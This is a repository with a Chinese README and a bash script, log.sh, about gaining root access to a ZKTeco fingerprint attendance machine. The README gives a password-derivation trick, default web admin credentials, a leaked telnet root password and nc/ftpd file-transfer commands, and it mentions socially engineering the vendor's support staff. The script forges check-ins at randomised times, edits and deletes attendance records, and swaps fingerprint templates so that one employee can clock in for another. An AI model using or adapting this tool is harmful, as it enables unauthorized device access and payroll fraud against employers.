| 22 | ##### 1.2 彩屏机器 23 | 彩屏须在1分钟内操作完成,记下机器时间,用计算器算9999-机器显示时间的差的平方,就是密码。例如:目前考勤机时间是22:55,那就是9999-2255=7744,接着算7744的平方,7744*7744=59969536 ,考勤机8888的管理密码就是59969536。按菜单键,在指纹机上输入8888>>>按OK键,输入计算出来的密码 OK。 24 | 25 | 26 | #### 2. RS232/485 串口线连接 27 | 具体方法及参数可以看说明书 28 | 默认通讯密码:0 (也就是空密码) 29 | 30 | #### 3. USB 连接方式 31 | 通过自带管理通过u盘把数据导入或导出。 32 | 33 | #### 4. TCP/IP 客户端软件 34 | 通过软件来同步导出数据,行政貌似就是这么干的。 35 | 对了,官方说明传输数据并没有加密,但是在这动手脚,意义并不大。 36 | 37 | #### 5. Web 3.0 38 | 给了一个 http 的方式,管理员可以通过web来查询考勤记录,员工貌似也可以登录查看自己的记录。 39 | 默认超管账号及密码 40 | 41 | user:administrator; 42 | password: 123456; 43 | 44 | #### telnet 45 | 这个方式应该是开发人员用的,根据介绍得知,该机器基于 linux,如果我们拿下这个 telnet ,我们就获得了最高权限,那时候我们想怎么玩就怎么玩了。 46 | 47 | ______ 48 | 49 | ## 思路 50 | 对过以上几种方式的分析,数据是记录在机器里,为了签到,我们只能通过telnet方式 51 | 52 | Trying 192.168.2.201... 53 | Connected to 192.168.2.201. 54 | Escape character is '^]'. 55 | 56 | Welcome to Linux (ZMM220) for MIPS 57 | Kernel 3.0.8 on an MIPS 58 | (none) login: 59 | 60 | 简单的尝试后失败了. 61 | 62 | 根据 和< 63 | 64 | 在评论区中翻到: 65 | >telnet 密码貌似跟出厂时间及机器型号都是有相关的。这个是开发人员设定的。 66 | 67 | 我动了社会工程学,以公司管理员的身份向售后咨询密码,可惜到目前都没有回复我。 68 | 69 | 最后用 评论区中的`root solokey`成功进入到系统。 70 | 71 | id 显然是 root,剩下的就自由发挥了。 72 | 73 | ----- 74 | 75 | ## 打卡及修改打卡时间 76 | 进入系统就是一阵乱找,在`/mnt/mtdblock`下找到我们想要的东西 77 | 78 | # ls 79 | CacheData.dat data lib service 80 | app drivers mgcfg-mips ssrrealtime.dat 81 | auto.sh eerom.txt miniguires wav 82 | commonres kill.sh script 83 | 84 | `data` 目录下`ZKDB.db`就是我们想要的。 85 | 86 | ### 1. 数据 87 | #### 1.1 下载与上传 88 | 初步思路时,下载 db 文件本地,来打开研究,并修改,然后再上传替换。 89 | 下载好说,不是提供了一个web3.0么,把 db 复制到 web 目录下不就 Okay 了嘛。 90 | 91 | 上传呢,这个系统是个精简版的系统,仅集成了 busybox,命令少的可怜,scp 就不要想了。 92 | 93 | 不过找了命令,发现支持 ftp,tfpd,nc,所以这个就简单了。 94 | 95 | ##### ftp 96 | 97 | tcpsvd -vE 0.0.0.0 21 ftpd -w /mnt/mtdblock/ 98 | 99 | 当然你也可以修改` /etc/inetd.conf ` 100 | 101 | 但是这货上传的文件用vi打开后面有个`^M`,很是不舒服。 102 | 103 | ##### nc 104 | 105 | 发送端: 106 | 107 | cat log.sh| nc -l -p 6666 108 | 或者nc -l -p 6666 < log.sh # 有些版本不要在 -p 109 | 110 | 【监听6666端口,等待连接】(设发送端IP为 192.168.2.123 6666) 111 | 112 | 接收端: 113 | 114 | nc 192.168.2.123 6666 > log.sh 115 | 116 | 如上面的操作,即可将文件log.sh从发送端传送到接收端,保存为log.sh 117 | 118 | ##### tftp 119 | 120 | 这个我没测试,可以通过`/etc/inetd.conf`来启动 121 | 122 | ### 2. 数据及修改 123 | 这个db文件实际上就是 sqlite3,用`sqlitebrowser`打开发现,表的结构还是有点多,我只说关键的这两个表, 124 | 125 | * ATT_LOG: 签到数据 126 | * USER_INFO: 用户信息 127 | * fptemplate10: 指纹信息 128 | 129 | 很幸运的在data目录下又找到`sqlite3_mips` 可执行程序,可以直接操作 db 文件,所以想修改数据简直是轻而易举了。 130 | 131 | 剩下的就是写个签到脚本了。 132 | 133 | ### 3. 自动签到 134 | 虽然精简但是还是提供了`crontab`这个定时任务,只是执行时会提示错误: 135 | 136 | crontab: chdir(/var/spool/cron/crontabs): No such file or directory 137 | 138 | 既然不存在,那我们就新建一个。 139 | 140 | mkdir -p /var/spool/cron/crontabs/ 141 | 142 | 然后就可以用了,写个定时脚本,每天定时签到,永不迟到。 143 | 144 | ---- 145 | 146 | ## 进阶玩法 147 | 148 | 1. 上传图片及声音文件,告别丑陋的出厂图,让机器更个性. 149 | 2. 写个api接口,手机签到. 150 | 3. 替换指纹数据,帮别人打卡(入职时一般会录两个指纹) 151 | 152 | ---- 153 | 154 | ## 代码 155 | github: 156 | 157 | 使用方法:把`log.sh`上传到`/mnt/mtdblock/data`下执行即可。 158 | 159 | ``` 160 | Usage: 1. bash log.sh query Name: Query [name]'s user_id. 161 | 2. bash log.sh checkin user_id: Check in for [user_id]'s user. 162 | 3. bash log.sh checkout user_id: Check out for [user_id]'s user. 163 | 4. bash log.sh change: Change checkin time of current month. 164 | 5. bash log.sh change time (2016-06-06T16:03:50): Change checkin [time] of current month with time. 165 | 6. bash log.sh del : Delete the [log_id]'s checkin log. 166 | 7. bash log.sh help ID1 ID2 [fingerid]: Use [ID1] 's finger([fingerid]) help [ID2] to checkin.' 167 | ``` 168 | 169 | all done,enjoy it . 170 | 171 | ---- 172 | ## 参考地址: 173 | 1. 174 | 2. http://lcx.cc/?i=3568 -------------------------------------------------------------------------------- /zkteco_check_in/log.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # @Date : 2016-06-07 16:04:54 3 | # @Author : Linsir (root@linsir.org) 4 | # @Link : http://linsir.org 5 | # @Version : 0.2 6 | # Last Update: 2016-12-07 7 | # 2008 2010 2055 8 | 9 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin 10 | export PATH 11 | #====================== log ====================== 12 | 13 | RED='\033[31m' # 红 14 | GREEN='\033[32m' # 绿 15 | YELLOW='\033[33m' # 黄 16 | BLUE='\033[34m' # 蓝 17 | PINK='\033[35m' # 粉红 18 | ADD='\033[0m' 19 | 20 | function log_info() { 21 | NOW=$(date +"%Y-%m-%d %H:%M:%S") 22 | echo -e "${NOW}${BLUE} [INFO] ${ADD} $1" 23 | } 24 | 25 | function log_warnning() { 26 | NOW=$(date +"%Y-%m-%d %H:%M:%S") 27 | echo -e "${NOW}${YELLOW} [WARNNING] ${ADD} $1" 28 | echo -e "${NOW} [WARNNING] $1" 29 | } 30 | 31 | function log_error() { 32 | NOW=$(date +"%Y-%m-%d %H:%M:%S") 33 | echo -e "${NOW}${RED} [ERROR] ${ADD} $1" 34 | } 35 | 36 | function log_line() { 37 | echo "#############################################################" 38 | } 39 | 40 | # 随机生成范围的数字 41 | function rand(){ 42 | local beg=$1 43 | local end=$2 44 | echo $((RANDOM % ($end - $beg) + $beg)) 45 | } 46 | 47 | function del_log(){ 48 | # Useage: 49 | # del_log [log_id] 50 | log_id=$1 51 | log_line 52 | old_time=`./sqlite3_mips ZKDB.db "SELECT Verify_Time FROM ATT_LOG WHERE ID = '${log_id}';"` 53 | user_id=`./sqlite3_mips ZKDB.db "SELECT User_PIN FROM ATT_LOG WHERE ID = '${log_id}';"` 54 | if [ "${user_id}" = "" ]; then 55 | log_error "Bad [${RED}log_id${ADD}], please try again" 56 | menu 57 | exit 58 | fi 59 | name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${user_id}'"` 60 | echo -e "Are you sure delete the log: [${GREEN}${name}: ${old_time}${ADD}] " 61 | read -rsp $'Press enter to continue...or Press Ctrl+C to cancel\n' 62 | ./sqlite3_mips ZKDB.db "DELETE FROM ATT_LOG WHERE ID = '${log_id}'" 63 | echo -e "[${GREEN}Delete Sucessfuly${ADD}]" 64 | ./sqlite3_mips ZKDB.db ".quit" 65 | } 66 | 67 | function query_id(){ 68 | # Useage: 69 | # query_id [name] 70 | name=$1 71 | log_line 72 | user_id=`./sqlite3_mips ZKDB.db "SELECT User_PIN FROM USER_INFO WHERE NAME = '${name}'"` 73 | if [ "${user_id}" = "" ]; then 74 | log_error "Bad [${RED}name${ADD}], please try again" 75 | menu 76 | exit 77 | fi 78 | echo -e "[${GREEN}${name}${ADD}]'s ID is [${GREEN}${user_id}${ADD}] " 79 | ./sqlite3_mips ZKDB.db ".quit" 80 | } 81 | 82 | function check_in(){ 83 | # Useage: 84 | # check_in [user_id] 85 | user_id=$1 86 | log_line 87 | name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${user_id}'"` 88 | if [ "${name}" = "" ]; then 89 | log_error "Bad [${RED}user_id${ADD}], please try again" 90 | menu 91 | exit 92 | fi 93 | 94 | today=$(date '+%Y-%m-%d') 95 | 96 | new_time="08:"$(rand 55 59)":"$(rand 10 59) 97 | DateTime=$today"T"$new_time 98 | 99 | # log_info "签到用户: [${GREEN}${name}${ADD}]" 100 | # log_info "the datetime:[${GREEN}${DateTime}${ADD}]" 101 | # read -rsp $'Press enter to continue...or Press Ctrl+C to cancel\n' 102 | 103 | ./sqlite3_mips ZKDB.db "INSERT INTO ATT_LOG VALUES (null,'${user_id}',15,'${DateTime}','0','0',null,null,null,null,0);" 104 | save_time=`./sqlite3_mips ZKDB.db "SELECT Verify_Time FROM ATT_LOG WHERE User_PIN = '${user_id}' ORDER BY ID DESC LIMIT 0,1;"` 105 | log_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM ATT_LOG WHERE User_PIN = '${user_id}' ORDER BY ID DESC LIMIT 0,1;"` 106 | log_info "LOG_ID: ${GREEN}${log_id}: [${name}${ADD}] 签到时间: [${GREEN}${save_time}${ADD}] Sucessfuly." 107 | ./sqlite3_mips ZKDB.db ".quit" 108 | } 109 | 110 | function check_out(){ 111 | # Useage: 112 | # check_out [user_id] 113 | log_line 114 | user_id=$1 115 | name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${user_id}'"` 116 | if [ "${name}" = "" ]; then 117 | log_error "Bad [${RED}user_id${ADD}], please try again" 118 | menu 119 | exit 120 | fi 121 | 122 | today=$(date '+%Y-%m-%d') 123 | 124 | new_time="17:"$(rand 35 59)":"$(rand 10 59) 125 | DateTime=$today"T"$new_time 126 | 127 | # log_info "签退用户: [${GREEN}${name}${ADD}]" 128 | # log_info "the datetime:[${GREEN}${DateTime}${ADD}]" 129 | # read -rsp $'Press enter to continue...or Press Ctrl+C to cancel\n' 130 | 131 | # echo "签到时间: ${DateTime}" 132 | ./sqlite3_mips ZKDB.db "INSERT INTO ATT_LOG VALUES (null,'${user_id}',15,'${DateTime}','0','0',null,null,null,null,0);" 133 | save_time=`./sqlite3_mips ZKDB.db "SELECT Verify_Time FROM ATT_LOG WHERE User_PIN = '${user_id}' ORDER BY ID DESC LIMIT 0,1;"` 134 | log_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM ATT_LOG WHERE User_PIN = '${user_id}' ORDER BY ID DESC LIMIT 0,1;"` 135 | log_info "LOG_ID: ${GREEN}${log_id}: [${name}${ADD}] 签退时间: [${GREEN}${save_time}${ADD}] Sucessfuly." 136 | ./sqlite3_mips ZKDB.db ".quit" 137 | } 138 | 139 | function change_log(){ 140 | log_line 141 | 142 | read -p "请输入签到用户工号(默认用户ID 2055): " user_id 143 | if [ "${user_id}" = "" ]; then 144 | user_id=2055 145 | fi 146 | name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${user_id}'"` 147 | if [ "${name}" = "" ]; then 148 | log_error "Bad [${RED}user_id${ADD}], please try again" 149 | menu 150 | exit 151 | fi 152 | log_info "签到用户: [${GREEN}${name}${ADD}] (${user_id})" 153 | Month=$(date '+%Y-%m%') 154 | 155 | ./sqlite3_mips ZKDB.db "SELECT ID,User_PIN,Verify_Time FROM ATT_LOG WHERE User_PIN = '${user_id}' and Verify_Time like '${Month}';" 156 | read -p "请输入更改签到的[ID]: " ID 157 | if [ "${ID}" = "" ]; then 158 | exit 0 159 | fi 160 | 161 | if [ "$1" = "" ]; then 162 | echo $1 163 | read -p "请输入签到的日期[2016-06-06](默认今天): " today 164 | if [ "${today}" = "" ]; then 165 | # Date=$(date '+%Y-%m-%dT%H:%M:%S') 166 | today=$(date '+%Y-%m-%d') 167 | fi 168 | new_time="08:"$(rand 55 59)":"$(rand 10 59) 169 | DateTime=$today"T"$new_time 170 | else 171 | DateTime=$1 172 | fi 173 | old_time=`./sqlite3_mips ZKDB.db "SELECT Verify_Time FROM ATT_LOG WHERE ID = '${ID}';"` 174 | if [ "${old_time}" = "" ]; then 175 | log_error "Bad [${RED}log_id${ADD}], please try again" 176 | menu 177 | exit 178 | fi 179 | echo -e "Are you sure to change [${GREEN}${old_time}${ADD}] into [${GREEN}${DateTime}${ADD}]?" 180 | read -rsp $'Press enter to continue...or Press Ctrl+C to cancel\n' 181 | 182 | ./sqlite3_mips ZKDB.db "UPDATE ATT_LOG SET Verify_Time = '${DateTime}' WHERE ID = '${ID}';" 183 | echo -e "[${GREEN}Change Sucessfuly${ADD}]" 184 | # ./sqlite3_mips ZKDB.db "SELECT ID,User_PIN,Verify_Time FROM ATT_LOG WHERE ID = '${ID}';" 185 | ./sqlite3_mips ZKDB.db ".quit" 186 | } 187 | 188 | function change_finger(){ 189 | # Useage: 190 | # check_out [old_user_id] help [new_user_id] 191 | log_line 192 | old_user_id=$1 193 | new_user_id=$2 194 | finger=$3 195 | if [ "${old_user_id}" = "" -a "${new_user_id}" = "" ]; then 196 | log_error "Bad option, please choose again" 197 | menu 198 | exit 199 | fi 200 | old_name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${old_user_id}'"` 201 | new_name=`./sqlite3_mips ZKDB.db "SELECT Name FROM USER_INFO WHERE User_PIN = '${new_user_id}'"` 202 | if [ "${old_name}" = "" -a "${new_name}" = "" ]; then 203 | log_error "Bad [${RED}ID${ADD}], please try again" 204 | menu 205 | exit 206 | fi 207 | old_user_defaulf_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM USER_INFO WHERE User_PIN = '${old_user_id}'"` 208 | new_user_defaulf_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM USER_INFO WHERE User_PIN = '${new_user_id}'"` 209 | 210 | if [ "$3" = "" ]; then 211 | finger_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM fptemplate10 WHERE pin = '${old_user_defaulf_id}' limit 1"` 212 | else 213 | finger_id=`./sqlite3_mips ZKDB.db "SELECT ID FROM fptemplate10 WHERE pin = '${old_user_defaulf_id}' and fingerid = '${finger}' "` 214 | fi 215 | if [ "${finger_id}" = "" ]; then 216 | 217 | log_error "the user [${GREEN}${old_name}${ADD}] have no finger data, please try again" 218 | menu 219 | exit 220 | fi 221 | finger_type=`./sqlite3_mips ZKDB.db "SELECT fingerid FROM fptemplate10 WHERE ID = '${finger_id}'"` 222 | log_info "用户: [${GREEN}${old_name}${ADD}] => [${GREEN}${new_name}${ADD}] fingerid([${GREEN}${finger_type}${ADD}])" 223 | read -rsp $'Press enter to continue...or Press Ctrl+C to cancel\n' 224 | ./sqlite3_mips ZKDB.db "UPDATE fptemplate10 SET pin = '${new_user_defaulf_id}', fingerid = '1' WHERE ID = '${finger_id}';" 225 | log_info "[${GREEN}Change Sucessfuly${ADD}]" 226 | ./sqlite3_mips ZKDB.db ".quit" 227 | 228 | } 229 | function menu(){ 230 | log_line 231 | echo "# @Author : Linsir (root@linsir.org)" 232 | echo "# @Link : http://linsir.org" 233 | echo "# @Version : 0.3" 234 | echo -e "Bad option, please choose again" 235 | echo -e "Usage: 1. bash $0 query name: Query [${GREEN}name${ADD}]'s user_id." 236 | echo -e " 2. bash $0 checkin user_id: Check in for [${GREEN}user_id${ADD}]'s user." 237 | echo -e " 3. bash $0 checkout user_id: Check out for [${GREEN}user_id${ADD}]'s user." 238 | echo -e " 4. bash $0 change: Change checkin time of current month." 239 | echo -e " 5. bash $0 change time (2016-06-06T16:03:50): Change checkin [${GREEN}time${ADD}] of current month with time." 240 | echo -e " 6. bash $0 del log_id: Delete the [${GREEN}log_id${ADD}]'s checkin log." 241 | echo -e " 7. bash $0 help ID1 ID2 [fingerid]: Use [${GREEN}ID1${ADD}] 's finger([${GREEN}fingerid${ADD}]) help [${GREEN}ID2${ADD}] to checkin.' " 242 | } 243 | 244 | function Usage(){ 245 | while [ $# != 0 ] 246 | do 247 | case $1 in 248 | "query" ) 249 | query_id $2 250 | exit 251 | ;; 252 | "checkin" ) 253 | check_in $2 254 | exit 255 | ;; 256 | "checkout" ) 257 | check_out $2 258 | exit 259 | ;; 260 | "change" ) 261 | change_log $2 262 | exit 263 | ;; 264 | "del" ) 265 | del_log $2 266 | exit 267 | ;; 268 | "help" ) 269 | change_finger $2 $3 $4 270 | exit 271 | ;; 272 | * ) 273 | menu 274 | exit 275 | esac 276 | done 277 | menu 278 | } 279 | 280 | Usage "$@" 281 | --------------------------------------------------------------------------------